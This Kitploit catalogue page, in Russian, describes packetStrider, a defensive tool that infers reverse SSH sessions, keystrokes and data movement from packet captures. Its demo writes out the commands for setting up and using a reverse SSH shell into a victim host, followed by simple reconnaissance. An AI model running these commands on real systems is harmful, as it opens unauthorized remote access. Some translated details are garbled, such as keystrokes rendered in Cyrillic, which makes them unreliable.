Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
packetStrider — Инструмент форензики сетевых пакетов для SSH | Kitploit
Инструменты/GitHubGitHub/benjeems/packetstrider
Сниффинг и анализ пакетовСетевая криминалистикаФорензикаТестирование на ПроникновениеМашинное ОбучениеОбнаружение ВторженийRed TeamingОбнаружение Аномалий
GitHubbenjeems/packetstrider

packetStrider

Инструмент форензики сетевых пакетов для SSH

Репозиторий
2543976 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Packet Strider (v0.21)

логотип

Краткое описание

packetStrider for SSH — это инструмент криминалистического анализа пакетов, предназначенный для получения ценной информации о природе SSH-трафика, проливая свет на те уголки SSH-сетевого трафика, где ранее в темноте скрывались золотые крупицы информации.

Проблема, которую packet strider призван решить (или «Зачем?»)

SSH, очевидно, зашифрован, но ценная контекстная информация всё равно присутствует в сетевом трафике и может быть использована для анализа тактик, техник и процедур (TTP), намерений, успеха и масштаба действий по достижению целей. Могут даже возникнуть ситуации, когда ценный контекст недоступен или удалён с хостов, и тогда неизменяемый и не подлежащий изменению пассивный захват сети даёт дополнительный криминалистический контекст. «Пакеты не лгут».

Помимо криминалистического контекста, прогнозы packet strider также могут использоваться активным образом, например, для блокировки (shun/RST) прямых подключений, если прогнозируется инициирование обратного SSH-сеанса через туннель, даже до того, как будет предложена обратная аутентификация.

Широкие методы packet strider (или «Как?»)

  • Строит богатый набор признаков в виде pandas dataframes. Более 40 признаков создаются на основе метаданных пакетов, таких как содержимое сообщений протокола SSH, нормализованная статистика, направление, размер, задержка и скользящие окна.
  • Проходит по этому набору признаков множество раз с помощью скользящих окон (вдохновлено свёрточными нейронными сетями) для прогнозирования:
    • Использование опции -R в прямой сессии — это то, что включает возможность обратного подключения позже в сессии. Этот артефакт обнаруживается в самом начале сессии, сразу после аутентификации прямой сессии. Это первый доступный предупредительный сигнал о том, что обратные сессии возможны.
    • Инициирование обратного SSH-сеанса может произойти в любой момент (ранний или поздний) в прямой сессии. Это обнаруживается до успешной аутентификации обратной сессии. Это второй предупредительный сигнал: обратная сессия только что была запрошена и подготовлена к аутентификации.
    • Успех и/или неудача аутентификации обратной сессии. Это третий и последний предупредительный сигнал; после этого вы знаете, что кто-то находится на вашем хосте внутри обратной сессии.
    • Использование опции -A (перенаправление SSH-агента), которая позволяет клиенту делиться своими локальными закрытыми ключами SSH с сервером. Эта функциональность обычно считается опасной. Ссылки: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident https://skylightcyber.com/2019/09/26/all-your-cloud-are-belong-to-us-cve-2019-12491/ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12491
    • Все прогнозы и отчёты метаданных для каждого потока отдельно.
    • Человеческое или скриптовое поведение, определяемое по временным дельтам.
    • Известен ли сервер клиенту ранее? Или это был первый раз, когда между ними было установлено соединение. Это определяется через дельты пакетов, связанные с known_hosts.
    • Использовался ли сертификат клиента или аутентификация по паролю, а также не превышает ли длина пароля 8 символов.
    • Нажатия клавиш, нажатие клавиши Delete, нажатие Enter (вырезание, вставка и стрелки вверх/вниз — YMMV/экспериментально).
    • Прогнозы перемещения данных (выгрузка/загрузка) как в прямых, так и в обратных сессиях.
    • Работает как с интерактивными сессиями, так и с SSH-приложениями для передачи файлов (например, scp, putty, cyberduck и т.д.).
  • Начало работы

    Используется Python3, вам понадобятся следующие модули (YMMV для python2):

    pip3 install pandas matplotlib pyshark

    Использование:

    python3 packetStrider-ssh.py -h

    Вывод:

    root@kitploit:~
    usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
                                 [-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
                                 [-w WINDOW] [-s STRIDE]
    
    packetStrider-ssh is a packet forensics tool for SSH. It creates a rich
    feature set from packet metadata such SSH Protocol message content, direction,
    size, latency and sequencing. It performs pattern matching on these features,
    using statistical analysis, and sliding windows to predict session initiation,
    keystrokes, human/script behavior, password length, use of client
    certificates, context into the historic nature of client/server contact and
    exfil/infil data movement characteristics in both Forward and Reverse sessions
    
    optional arguments:
      -h, --help            show this help message and exit
      -f FILE, --file FILE  pcap file to analyze
      -n NSTREAM, --nstream NSTREAM
                            Perform analysis only on stream n
      -m, --metaonly        Display stream metadata only
      -k, --keystrokes      Perform keystroke prediction
      -p, --predict_plot    Plot data movement and keystrokes
      -z ZOOM, --zoom ZOOM  Narrow down/zoom the analysis and plotting to only
                            packets "x-y"
      -d DIRECTION, --direction DIRECTION
                            Perform analysis on SSH direction : "forward",
                            "reverse" OR "both"
      -o OUTPUT_DIR, --output_dir OUTPUT_DIR
                            Directory to output plots
      -w WINDOW, --window WINDOW
                            Sliding window size, # of packets to side of window
                            center packet, default is 2
      -s STRIDE, --stride STRIDE
                            Stride between sliding windows, default is 1
    

    Пример

    Pcap-файл «forward_reverse.pcap» получен из распространённого TTP — обратной SSH-оболочки (reverse SSH shell), излюбленного приёма красных команд повсюду. В частности, были использованы следующие команды, чтобы наглядно продемонстрировать возможности Packet Strider простым способом:

    • Прямое подключение от жертвы

      • Команда для прямой сессии: ssh [email protected] -R 31337:localhost:22, которая связывает локальный порт 31337, готовый к обратному SSH-подключению к компьютеру жертвы. Это соединение может быть установлено различными способами, включая ручной ввод, RCE, SSRF или какую-либо форму персистентности. В целях данной демонстрации это стандартная прямая сессия, выполненная вручную.
      • Это НЕ был первый раз, когда клиент видел сервер. Мы видим это, потому что дельта для связанных пакетов была очень мала: отпечаток ключа сервера уже находился в known_hosts клиента, поэтому пользователю не было предложено добавить его — что увеличило бы задержку пакетов.
      • Две последовательные неудачные попытки входа с паролем от человека, после чего последовал успешный вход с паролем длиной 8+ символов.
      • В прямой сессии вводится ls в следующей последовательности: 'л' 'в' 'в' 'back-space' 'back-space' 'с' и затем Enter. Общий размер данных, передаваемых по сети (как вывод ls), классифицируется как инфильтрация, поскольку данные входящие.
    • Теперь на машине атакующего (сервере) инициируется обратная оболочка к жертве:

      • ssh victim@localhost -p 31337. В этот момент, ещё до начала процесса аутентификации, Packet Strider идентифицирует инициирование обратного SSH-сеанса на пакете 72.
      • Теперь атакующий имеет обратную оболочку на хосте жертвы. Отсюда он может отключить настройки истории и выполнять любые действия по латеральному перемещению или шалости по взлому. Простые примеры в этой демонстрации — начальная разведка пользователей.
      • last выполняется в виде нажатий клавиш 'л' 'а' 'с' 'р' 'delete' 'т' 'enter'
      • who выполняется в виде 'в' 'х' 'о' 'enter'
      • exit выполняется в виде 'е' 'х' 'и' 'т'
    • Затем, наконец, прямая сессия закрывается, просто чтобы продемонстрировать, что обнаружение функций прямого SSH по-прежнему работает.

      • exit

    Сетевой трафик этой активности сохраняется в tcpdump.pcap, и теперь пришло время запустить Packet Strider.

    python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

    логотип

    На этом графике показана временная шкала ключевых прогнозов (изображение аннотировано здесь) логотип

    На этом графике показана некоторая статистика окон, полезная для глубокого погружения и экспериментов с признаками. логотип

    На этом графике показана простая гистограмма логотип

    Вдохновение

    Этот проект был выполнен как личное доказательство концепции, способ потренироваться в работе с некоторыми библиотеками Data Science на Python. Он был сильно вдохновлён моим обучением на Coursera по машинному обучению и Data Science, в частности библиотекой pandas и тем, как свёрточные нейронные сети (CNN) «шагают» по наборам пикселей изображения, используя скользящие окна для обнаружения определённых признаков.

    Советы

    Packet Strider выполняет огромное количество «шагов» в режиме полной ёмкости. Это может привести к значительному расходу ресурсов, если pcap-файл большой, или, точнее, если в pcap много пакетов. Вот несколько советов по ускорению, особенно полезных при первоначальном запуске, например, чтобы просто увидеть, была ли спрогнозирована активность обратного SSH, а затем добавить функциональность по желанию.

    • Убедитесь, что вы используете последние версии модулей, выполняющих тяжёлую работу, например pyshark/tshark, pandas и matplotlib.
    • Опция -p --predict_plot является наиболее ресурсоёмкой. Подумайте о том, чтобы сначала запустить только с выводом в терминал, а затем посмотреть, нужно ли вам строить график.
    • Используйте опцию -m --metaonly. Она извлекает только метаданные высокого уровня, такие как имена протоколов и данные HASSH. Это может быть полезно для быстрого определения, имеете ли вы дело с интерактивной сессией OpenSSH или с клиентом передачи файлов, например Cyberduck.
    • Предварительно отфильтруйте pcap-файл по SSH-трафику.
    • Предварительно отфильтруйте pcap-файл до нужного потока, который вы, возможно, узнали, предварительно запустив быструю опцию -m --metaonly. Вы можете исследовать только поток «NSTREAM» с помощью опции «-n NSTREAM» или предварительно отфильтровать с помощью Wireshark и т.д.
    • Могут возникнуть ситуации, когда вы обнаружите что-то интересное в подмножестве очень большого набора пакетов. Здесь вы можете использовать функцию масштабирования, чтобы исследовать и построить график только пакетов в интересующей вас области. Используйте для этого -z ZOOM, --zoom ZOOM. Например, -z 100-500.
    • В большинстве случаев вас будет интересовать понимание активности нажатий клавиш, поэтому, хотя использование опции -k сэкономит время обработки, это также означает, что вы не получите эту ценную информацию.

    TODO

    • Больше протоколов!
    • Рассмотреть многопоточность и посмотреть, где это может помочь скорости обработки.
    • Повысить эффективность скрипта, особенно время построения графиков.
    • Улучшить индикатор вставки (Pasting).
    • Улучшить индикатор клавиш вверх/вниз.
    • Аннотировать графики с помощью ImageMagick или аналогичного.
    • Улучшить функцию отчётов, записывать на диск.
    • Индикатор обратных клавиш консервативен из-за инкапсуляции пакетов — потенциально может сообщать о двух нажатиях. Эта проблема не существует для прямых нажатий клавиш, так как порядок пакетов был обработан на случай их поступления не по порядку. Изучить варианты.
    • Перенести на Go для скорости.
    • Режим реального времени.
    • Изучить влияние дополнительного туннелирования локальных портов через прямое соединение.

    Отказ от ответственности

    Используйте на свой страх и риск. См. условия лицензии.

    Скачать инструмент